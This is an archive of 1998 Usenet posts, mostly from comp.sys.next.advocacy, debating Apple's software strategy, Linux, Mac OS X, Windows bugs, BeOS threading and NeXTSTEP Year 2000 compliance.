[Snipped]
> But I do have some performance concerns after seeing some examples of what
> goes wrong on the Be side. However, does anyone know if the Be's threads for
> UI objects are LWP's or userthreads? There's no information on Be's site
> about this, and if they are using LWP's or kernel threads then the problem is
> the implementation rather than any theoretical issue.
AFAIK, the only real problem with the BeOS window threading system is that
each thread is given 256K of stack. That can really eat up your logical
memory space if you have a lot of threads.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Wed, 02 Sep 1998 16:13:16 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0209981613170001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu> <6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu> <6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu> <6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu> <6sistm$5j3$1@fir.prod.itd.earthlink.net>
In article <6sistm$5j3$1@fir.prod.itd.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
>rmcassid@uci.edu (Robert Cassidy) wrote:
>>To my mind that isn't really messing with them - it's making practical
>>changes. It's Apple having much less code to support. It's not an action
>>to favor one platform over the other. After all, the code would be taken
>>out of the Mac version as well.
>
>I doubt very much, for instance, Apple could successfully "port" AppleScript to
>Windows without MS.
They don't have to. Frontier is already there. Either the users buy
Frontier, or MS finds some way to provide scripting support to it's apps.
Doesn't matter what it is, but I hardly think it is Apple's job to provide
a scripting solution on the PC - that's what MS is for. Isn't that how the
game is played?
>I see no problem telling a publishing house owner,"If you want the kind of
>inter-app integration and the level of automation that's possible on MacOS with
>AppleScript, you'll need to run your Quark XPress on a Mac, so get used to it."
>Same with ColorSync. And some time in the future --> Same with WebObjects on a
>12-CPU MacOS XI server. Ditto with 8-CPU/AltiVec QuickTime streamer. Apple
>should do what MS does, actually offer purposely cripled versions for the other
>OS; offer the best only on the Mac.
It's not crippled. If MS wants to provide an inter-app scripting solution
then Apple should support it. But Apple shouldn't have to provide it is
all. Adobe has been providing it.
>I see feature parity of Apple products on NT and MacOS working against Apple's
>interests, as they enable NT and diminish Apple advantages.
Apple retains feature parity but moves the features from the app to the
OS. In WAY too many cases Adobe substituted a solution that was better
than Windows but worse than MacOS. Take it out and let the users decide.
It's not crippling to ask the OS to do it's job.
>>Colorsync and QT are cross-platform already. MS customers simply have to
>>get the product from Apple, nothing new there. Apple can publish a similar
>>API for the Windows version, but it'll be COM or VB or whatever they pass
>>off as a scripting language over there.
>
>Why? Why?
Because the Windows solution will still suck rocks, but Apple can still
claim parity. There _is_ a solution there, but it's not Apples fault that
nobody can get it to work. Of course, things work a bit better on the
MacOS...
>>But basically pulling these products back as apps, and less as OSen.
>
>I like the idea of turning things into apps as opposed to OS-dependencies, in
>general, but ...
Apple has, aside from some core technologies like PMT, the best OS out
there by far. If the app handles everything that the OS should, then Apple
has no advantage. The apps should rely much more heavily on what the
respective OS provides. That is Apple's advantage. They don't _need_ to
cheat on it, they can play fair and still win.
>> There is no way to properly
>>integrate these products without an external scripting environment. The
>>fact that MS really doesn't have one is hardly Apple's fault.
>
>And yet you want Apple to somehow solve MS's scripting problem by offering in,
>say, an Apple-Adobe product that happens to leverage AppleScript in the MacOS
>version, the same capability on the Windows version. This I just don't
>understand.
It would provide the capability to the extent that Windows will allow it.
If it requires the user to write C++ code, then that's MS's problem for
not providing an easier solution. But Apple will provide the hooks to
solve the problem.
>>I think that by supporting OSA Apple can offer Frontier on the Windows
>>side as the solution.
>
>Wouldn't that be ironic for Dave?
He'd love it.
>>Personally I'm not a huge fan of Frontier - I find
>>it to be cumbersome,
>
>Neither am I.
>
>>but the solution is there, and it's cross-platform. I
>>think the distinct advantage stays with Apple since AS is relatively
>>ubiquitous.
>
>I feel much better when Apple can say, as it used to, this we can do and you
>cannot. Buy our product.
They still would be able to, in the way that they are selling the iMac.
You can spend 30 minutes trying to figure out how to do this with Windows,
or 30 seconds with the Mac.
If Apple spikes the products, people will hate them and find someone else
- just out of spite. They need to give the appearance of playing fair,
while still building advantages for themselves.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Wed, 02 Sep 1998 16:17:23 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0209981617230001@hephaestus.eng.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu> <6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu> <6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu> <6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu> <6sistm$5j3$1@fir.prod.itd.earthlink.net> <h0fH1.3205$MS.7621650@news.rdc1.sdca.home.com>
In article <h0fH1.3205$MS.7621650@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>In <6sistm$5j3$1@fir.prod.itd.earthlink.net> "Ziya Oz" wrote:
>> I feel much better when Apple can say, as it used to, this we can do and
>ou
>> cannot. Buy our product.
>This is the exact mentality we had in the 80's... did you ever wonder what
> caused the rush to standards, open systems and one standard Microsoft?
>RYBODY who was anybody had their belly full of incompatible software in their
>r organization.
>
>Back to the Future?
No, my thinking is more like this:
"You can do it here or there, but it's faster and easier here."
Nobody likes to be trapped. Apple admits that they have a choice, they can
go to the Wintel solution. It's just that they'd be an idiot to do so.
Apple would support standards by eliminating application specific tasks
whenever possible. If MS comes up with the worlds greatest solutions, then
Apple will have a problem. How many people here actually believe that
would happen? I think the deck is stacked _tremendously_ in Apple's favor
right now. Apple can play fair, support standards, and still win in the
end.
-Bob Cassidy
From: no-spam@one.net (MojiDoji)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <no-spam-0409980242480001@port-46-27.access.one.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <joe.ragosta-0309980827350001@wil31.dol.net> <35ef7112.0@newsread1.dircon.co.uk>
Date: 4 Sep 1998 02:35:19 -0500
Organization: OneNet Communications News Hub
In article <35ef7112.0@newsread1.dircon.co.uk>, simonrb@dircon.co.uk
(Simon Barker) wrote:
> On Thu, 03 Sep 1998 08:27:35 -0400, Joe Ragosta says...
>
> >In article <qArH1.421$XE1.327550@newsfeed.slurp.net>, "Dan"
> ><dan@knowspaam.com> wrote:
> >
> >>Simon Barker wrote in message <35edc5e7.0@newsread1.dircon.co.uk>...
> >>
> >>>>I don't know anyone that knows what the difference is between Win95 and
> >>>>Win95 with service pack 1... nor can 95% of any Win95 user find or name a
> >>>>single Win95 bug... can you?
> >>>
> >>>Err yeah you do if you read the documents that were with it, there are lots
> >>of
> >>>bugs in Windows *many* people are aware of, all you need do is look at
> >>hotfixes
> >>>and sp's and program updates etc of course they're mostly fixed now but
> >>there
> >>>still are bound to be many out there not fixed.
> >>
> >>I was talking about Win95, not NT. MS is very good at letting the user know
> >>about the bugs that exist in NT by providing hotfixes... regardless of the
> >>fact that most users do not experience the bugs that these hotfixes take
> >>care of.
> >
> >Is _THAT_ what the hot fixes are for?
> >
> >I thought that MS had to release them every 6 months or so because the
> >users were getting too good at working around existing bugs and they had
> >to find a way to introduce new ones.
>
> And let's throw in some more useless comments, anyone?
I have a fishtank.
--
To reply, replace "no-spam" with "mottbi"
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sat, 05 Sep 1998 00:02:03 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <36057e8d.8444846@news.supernews.com>
References: <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <joe.ragosta-1908981845370001@elk70.dol.net> <35DC37CF.56D9BDC2@ericsson.com> <joe.ragosta-2108981424080001@wil54.dol.net> <35DDD340.230E7E20@ericsson.com> <joe.ragosta-2108981917480001@elk120.dol.net> <35df2f1e.115007972@news.netdirect.net> <35fe884c.88475259@news.mindspring.com>
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Proteus@Olympus.god (Proteus), on Sat, 29 Aug 1998 23:08:11 GMT,
[on CAFE standards]
> One great example of this being arbitrary is how the
>government set different standards for passenger cars on the one hand
>(27.5 mpg) and light trucks on the other (around 20 mpg -- it changes
>year to year).
It did when light trucks were typically used for light industrial
duty (or so they thought), and it would have been oppressive to
require the same fuel efficiency at the expense of functionality.
> It makes absolutely no sense.
No, it just doesn't seem reasonable. Since "Suburban Assault
Vehicles" weren't a category when the standards were drawn up, there
is much that doesn't seem reasonable. So go lobby to have the CAFE
standards updated, why don't you, and quit trying to dissuade people
from demanding justice against a monopoly because of your paranoid
fear of "regulation". :-/
--
T. Max Devlin
Eltrax Systems, Inc.
mdevlin@eltrax.com
-[Opinions expressed are my own; everyone else, including
my employer, has to pay for them, subject to
applicable licensing agreement]-
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sat, 05 Sep 1998 00:02:07 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <36077f76.8678644@news.supernews.com>
References: <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <joe.ragosta-1908981845370001@elk70.dol.net> <35DC37CF.56D9BDC2@ericsson.com> <joe.ragosta-2108981424080001@wil54.dol.net> <35fc86a5.88051638@news.mindspring.com>
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Proteus@Olympus.god (Proteus), on Sat, 29 Aug 1998 23:08:28 GMT,
>On Fri, 21 Aug 1998 14:24:07 -0400, joe.ragosta@dol.net (Joe Ragosta)
[...]
>>But if you have a CAFE that says you have to reach 29 mpg fleet average,
>>you can do that a number of different ways. Making the cars less safe is
>>only one of them.
>
> It is clearly the only economically feasible way, or else car
>manufacturers wouldn't be doing it.
Stated differently, your position becomes "reducing safety is the
most profitable way". In fact, I would suggest that it is stated
*more accurately*, as reducing the safety is not the "only
economical way", though it does seem an obvious method to reduce the
weight of the vehicle.
Whether lighter weight vehicles are inherently safer or the optimal
method of increasing gas mileage is a separate debate which, I
believe, strays too far from our subject. The immediate debate
concerns whether "regulation" is always inherently bad. The CAFE
standards may, at best, be considered a borderline case, since auto
safety has /improved/, not decreased, overall. So has gas mileage,
and pollution.
--
T. Max Devlin
Eltrax Systems, Inc.
mdevlin@eltrax.com
-[Opinions expressed are my own; everyone else, including
my employer, has to pay for them, subject to
applicable licensing agreement]-
From: leebum@nottowayez.net (Shelton Garner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Sat, 05 Sep 1998 01:05:42 GMT
Organization: Airnews.net! at Internet America
Message-ID: <70027AD10AB3AE99.7E5CBC282D1D90EE.0A964CEBE9E34897@library-proxy.airnews.net>
References: <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <1BE31BB8FDA18957.F7A2629239765D4E.3D7390EA0F6E4AB4@library-proxy.airnews.net> <6si9mm$sdu@news1.panix.com> <6sjj4k$2p$1@nnrp02.primenet.com>
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On 2 Sep 1998 14:01:56 GMT, John Jensen <jjens@primenet.com> wrote:
>Sal Denaro <sal@panix.com> wrote:
>: On Fri, 28 Aug 1998, Shelton Garner <leebum@nottowayez.net> wrote:
<snip>
>Apple invented the term "crown jewels" to describe their proprietary
>software. It is a long distance from crown jewels to open source(tm).
>
>I expect that MacOS X will use a lot of standard (BSD) components, and
>will support a POSIX level interface. That's great because a lot of nice
>things, like apache and bash should run on top of it. But, I also expect
>that essentially all APIs above the POSIX level will be proprietary to
>Apple. In particular, I expect the GUI level APIs to be proprietary.
>That may work for Apple and Apple customers, but it does put Apple in a
>bit different "space" than Linux.
As I may have mentioned before, I believe the ultimate fate of Apple
rests with Linux. Either Linux will "kill" Apple As We Know It, or
Apple and the Mac will thrive because of Linux. Just imagine if the
Mac's GUI became what the average non-technoid thought of as "the
Linux desktop."
But of course, Apple could just be "heading to obscurity" and it'll
just become moot. As a long time Apple user, I hope this doesn't
happen.
lee
L. Shelton Bumgarner -- Keeper of the Great Renaming FAQ
Nattering Nabob of Narcissism * http://www.nottowayez.net/~leebum/
ICQ#: 9393354 * "Given two unrelated technical terms, an Internet
search engine will retrieve only resumes." -- Schachter's Hypothesis
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 4 Sep 1998 21:04:00 -0400
Organization: phenix@interpath.com
Message-ID: <1deulz7.obdwg71dn8kh8N@roxboro0-056.dyn.interpath.net>
References: <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6rj2q7$cqc$1@nnrp1.dejanews.com> <B2026BDE-1FDB3@206.165.43.101> <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <1deraeu.1v5e00i17gft7dN@roxboro0-046.dyn.interpath.net> <christian.bau-0309981203510001@christian-mac.isltd.insignia.com> <35ef8d3f.0@carrera> <1detqbi.pz6yn07bvo30N@roxboro0-021.dyn.interpath.net> <35f04cf7.0@carrera>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy Brian Quinlan <quinlan@intergate.bc.ca> wrote:
> phenix@interpath.com (John Moreno) wrote:
>
> > I beg to differ - neither of my suggestions require that the app process
> > a event before the menu selection is returned (although there is a
> > question as to what to do if they make more than one selection before
> > the app processes the first).
>
> It requires that the application process an event before the menu can be
> shown. So it does not solve the problem of the menu being inaccessable
> while the application is busy.
His method requires that, mine doesn't - using what I said the first
thing the program knows about it is when a mousedown event in the menu
is returned - the rest of it is handled behind the back of the app.
> > Could you change that to a correct sigdash? Programs which use the
> > sigdash do so by looking for \n-- \n leaving off the space keeps them
> > from using it.
>
> I think that I did.
Sorry - I guess your newsreader is deleting it.
--
John Moreno
From: leebum@nottowayez.net (Shelton Garner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Sat, 05 Sep 1998 01:05:45 GMT
Organization: Airnews.net! at Internet America
Message-ID: <C0B648C27726E4D5.5F2A2E5BD20E39EE.39C4D77D23F1CD83@library-proxy.airnews.net>
References: <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com>
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On 28 Aug 98 13:08:19, scott@nospam.doubleu.com (Scott Hess) wrote:
>In article <6s6hd0$30u@news1.panix.com>,
> sal@panix.com (Sal Denaro) writes:
> On Fri, 28 Aug 1998 12:16:08 +1000,
> Greg Alexander <galexand@ozemail.com.au> wrote:
> >I think it would be a great idea for Intel support. Sell a Mac
> >GUI with YB and Quicktime on Linux. Add Carbon if they can.
>
> But can they make money on it? Will Linux users be willing to pay
> $x or more for it?
>
>Flip the question - what would MacOS X purchasers be willing to pay to
>get an operating system layer which works on a greater variety of
>systems?
>
> It's not that I dislike Linux, I've run it since .9x kernels. I
> just like the idea of Apple using it's own OpenSource system
> better. There is no guaranty that Linux will develop in a way
> favorable to Apple. What if GGI is added to the kernel and it
> causes problems?
>
>Don't upgrade the shipping kernel until the problems are fixed?
>
> Or if it is optimized for one type of SMP, and Apple uses another?
>
>SMP is a kernel thing. If MacOS X were layered over an OpenSource BSD
>or Linux, Apple _couldn't_ use a different type of SMP, because the
>kernel does the SMP.
>
>The only downside I see to Linux is possible buy-in. I think that
>some Linux users would purchase a MacOS X type superstructure - but
>more users would probably avoid the system _because_ it's Linux. _I_
>wouldn't I'm just spouting perceptions. With a BSD base, they could
>potentially claim that their Unix layer is proprietary while folding
>in new additions to BSD. Then later they could back off on the
>proprietary part, and merge back into one of the BSD development
>streams. _After_ MacOS X is successful.
>
>That's not a likely scenario under Linux,
Despite how many iMac systems may be selling right now, Apple As We
Know It is doomed if it doesn't embrace Linux. And I don't see that as
likely unless Apple were to buy Netscape make Jim Barksdale CEO and
use a little bit of its cash reserves to kick M$ of the board. When I
say As We Know It, I mean a company that provides both software and
hardware solutions. Although even with Linux, that's not assured--I
suspect a Caldera Linux distribution with a Mac GUI would be much
better than an Apple distribution with a Mac GUI, simply because it'd
be easier to get business folks to look into it.
lee
L. Shelton Bumgarner -- Keeper of the Great Renaming FAQ
Nattering Nabob of Narcissism * http://www.nottowayez.net/~leebum/
ICQ#: 9393354 * "Given two unrelated technical terms, an Internet
search engine will retrieve only resumes." -- Schachter's Hypothesis
From: leebum@nottowayez.net (Shelton Garner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Sat, 05 Sep 1998 01:05:49 GMT
Organization: Airnews.net! at Internet America
Message-ID: <89DA80382AE9C9D2.B50B13F0EB2D178E.DA44ABF2DF68B50A@library-proxy.airnews.net>
References: <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <6sibgk$ssh@news1.panix.com>
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On 2 Sep 1998 02:45:40 GMT, sal@panix.com (Sal Denaro) wrote:
<snip>
>The BSD license offers a for profit company more options then Linux's
>license offers.
>
>MacOSX uses Mach/BSD now. Porting to Linux would take time, and most
>likely push MacOSX back months; if not years, for no finical and (AFAIK)
>no technical benefits.
>
>Apple would have little, if any, control over the direction of Linux.
>In a worst case scenario, you would have a flood of whiney Mac users
>in cola demanding that Linus drop all the shells from the source tree.
>In a best case scenario, you would have a flood of whiney Mac users
>in cola demanding that Linus add four more colors to the Linux penguin
>logo. And do you want the Mac press covering Linux? Silly speculation
>from Mac/dev/knife?
>
>>bumper stickers and convention buttons, or will it be starting all over
>>again to build brand name with MacOS X?
>
>Apple would have to build brand recognition for its Linux offering in the
>same way it would have to build brand recognition for OSX. What would it
>gain as being yet another Linux vendor, if it didn't invest time and
>energy in building brand recognition?
>
All this could be overcome if the company had a CEO with a Linux
"vision." Apple would _thrive_, regardless of the time it took to
port things to Linux if it were seen as promoting Linux-with-Mac-GUI
as "the future."
It might even make up for not licensing the OS 10 years ago.
lee
L. Shelton Bumgarner -- Keeper of the Great Renaming FAQ
Nattering Nabob of Narcissism * http://www.nottowayez.net/~leebum/
ICQ#: 9393354 * "Given two unrelated technical terms, an Internet
search engine will retrieve only resumes." -- Schachter's Hypothesis
From: frank@this.NO_SPAM.net (Frank M. Siegert)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple says NEXTSTEP 3.3 **NOT** Year 2K compliant
Date: 4 Sep 1998 23:21:01 GMT
Organization: Frank's Area 51
Message-ID: <6spskt$nrs$1@news.seicom.net>
References: <35F00B0B.276F5E89@NOSPAMREMOVETHISisomedia.com>
Jonathan Weeks <jweeks@isomedia.com> wrote:
> This is a pretty big deal for all of those
> still running NS3.3. Sure wish we would of
> had a little more warning, as we are now
> going to have to accelerate our porting
> efforts to move our clients off of NS3.3
> ASAP...
What do you expect them to say for a discontinued product full of third party
libraries and tools? Do you really believe they want to take the blame and
tell 'hey, it will continue to work as usual' whenever there are some problem
(even maybe minor ones) to encounter?
UNIX in general does not have a year 2000 problem, it has a year 2038
problem, but this is a different matter.
I tried for one of my NS 3.3pl1 systems to set the date to 31. December 1999
23:59 then watch the date going over the magic borderline. Then I tried
running it two years in advance (september 2000) for one day. It continued to
work without hickup. Here my findings:
- Time continued to flow a usual
- I installed the GNU version (sh-utils 1.16) of '/bin/date' to be able to
set the date as the original date program refuse to set dates > year 1999.
I put it quad-fat on http://www.this.net/~frank/date_y2k.tar.gz for those
without compiler who wants to try it themselfs (as usual you are working at
your own risk, so backup your data before installing it). Run 'date --help'
to see the new options.
- The time module of Preference.app is unable to set dates > year 1999, guess
someone need to write a replacement. It is however able to display them, so
you need to set date and time in a shell (no big deal IMHO).
So what to do? Maybe I will write a new Preference module next year to be
able to set dates using Preference.app, most of my own apps will continue to
work (I do not use DBKit, nor does much other software I know of...). The
libraries and some utilities in question (at, atq, atrun, atrm, troff, maybe
more...) can be replaced by newer versions (ported from FreeBSD/Linux), the
same applies for mail, etc (and this is one of the strengths of a modular
system, try this with a monolithic OS -- uh oh... pain, pain).
Of course this does not prove any system (think PC BIOS and hardware clock),
application or program will continue to run flawlessly. However there is no
need to talk doom and gloom, it really depends on your scenario. I can only
urge to test your system and applications before the end of the century.
---
* Frank M. Siegert [frank@wizards.de] - Home http://www.wizards.de
* NeXTSTEP, IRIX, Solaris, Linux, BeOS, PDF & PostScript Wizard
* Note: [frank@this.net] is still a valid option to send me eMail
* "The answer is vi, what was your question...?"
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 5 Sep 1998 02:21:51 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6sq77v$rth@newsb.netnews.att.com>
References: <6o8adb$i746@odie.mcleod.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <C0B648C27726E4D5.5F2A2E5BD20E39EE.39C4D77D23F1CD83@library-proxy.airnews.net>
Originator: gupta@tlctest
Shelton Garner <lee_s_bumgarner@yahoo.com> wrote:
>
>Despite how many iMac systems may be selling right now, Apple As We
>Know It is doomed if it doesn't embrace Linux. And I don't see that as
>likely unless Apple were to buy Netscape make Jim Barksdale CEO and
>use a little bit of its cash reserves to kick M$ of the board. When I
>say As We Know It, I mean a company that provides both software and
>hardware solutions. Although even with Linux, that's not assured--I
>suspect a Caldera Linux distribution with a Mac GUI would be much
>better than an Apple distribution with a Mac GUI, simply because it'd
>be easier to get business folks to look into it.
If Apple embraces Linux, it will not be providing software solutions --
the open source community will be. If Apple embraces Linux, it will
be to become a hardware-only company.
-arun gupta
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
From: simonrb@dircon.co.uk (Simon Barker)
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6soefj$laf$1@heliodor.xara.net> <christian.bau-0409981326570001@christian-mac.isltd.insignia.com>
MIME-Version: 1.0
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Message-ID: <35f0ac02.0@newsread1.dircon.co.uk>
Date: 5 Sep 1998 04:12:02 -0100
On Fri, 04 Sep 1998 13:26:57 +0100, Christian Bau says...
>In article <6soefj$laf$1@heliodor.xara.net>, "Gareth Paxton"
><gordonpa@globalnet.co.uk> wrote:
>
>> >So what happened: A not very experienced computer user got himself into a
>> >situation where he couldnt use his computer properly anymore (as I figured
>> >out later, by clicking into the start menu bar at the wrong point and
>> >moving the mouse to the wrong point). I call this a bug.
>>
>> Its called flexibility and gives you the freedom to customise the way your
>> desktop looks.
>No Macintosh user ever claimed that using Windows brainwashes the user...
>But I wouldnt claim it doesnt! The user I was talking about couldnt use
>his computer properly for two weeks because of what you call flexibility
>and freedom to customise. That is not a feature, that is a bug.
They couldn't use the computer because either they or someone they had let use
the machine had moved the start menu and that's to be considered a bug? If you
move an icon and you can't find it is that also a bug? If you move your car and
you can't find it again is that somehow a bug too? I'm sorry but put blunty no.
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Thu, 03 Sep 1998 00:17:38 +0000
Organization: BM
Message-ID: <6sl4s4$bsl$1@ash.prod.itd.earthlink.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
<rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu>
<rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net>
<rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net>
<rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net>
<rmcassid-3108980032370001@dialin9062.slip.uci.edu>
<6ser4k$21j$1@ash.prod.itd.earthlink.net>
<rmcassid-3108981302170001@hephaestus.eng.uci.edu>
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rr6013@yahoo.com wrote:
>This is the exact mentality we had in the 80's...
You mean when Apple was a 10+ Billion dollar company with 14% marketshare?
Like when MacOS had absolute, distinct, easily recognizable superiorities in
many areas and easily charged a premium for it and people paid it?
>did you ever wonder what
>caused the rush to standards, open systems and one standard Microsoft?
People did NOT rush AWAY from AppleScript, ColorSync, QuickTime, etc., mostly
because, to this day, nothing comparable exists elsewhere.
>Back to the Future?
You want MacOS to gain marketshare? You can't do that by offering exactly what
Windows/Linux/etc offers. You have to have distinct advantages and people will
buy your product because they can't get it elsewhere.
Ziya Oz
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
References: <35ED82AE.7C1B5FE9@ericsson.com> <6skaig$8bv@shelob.afs.com>
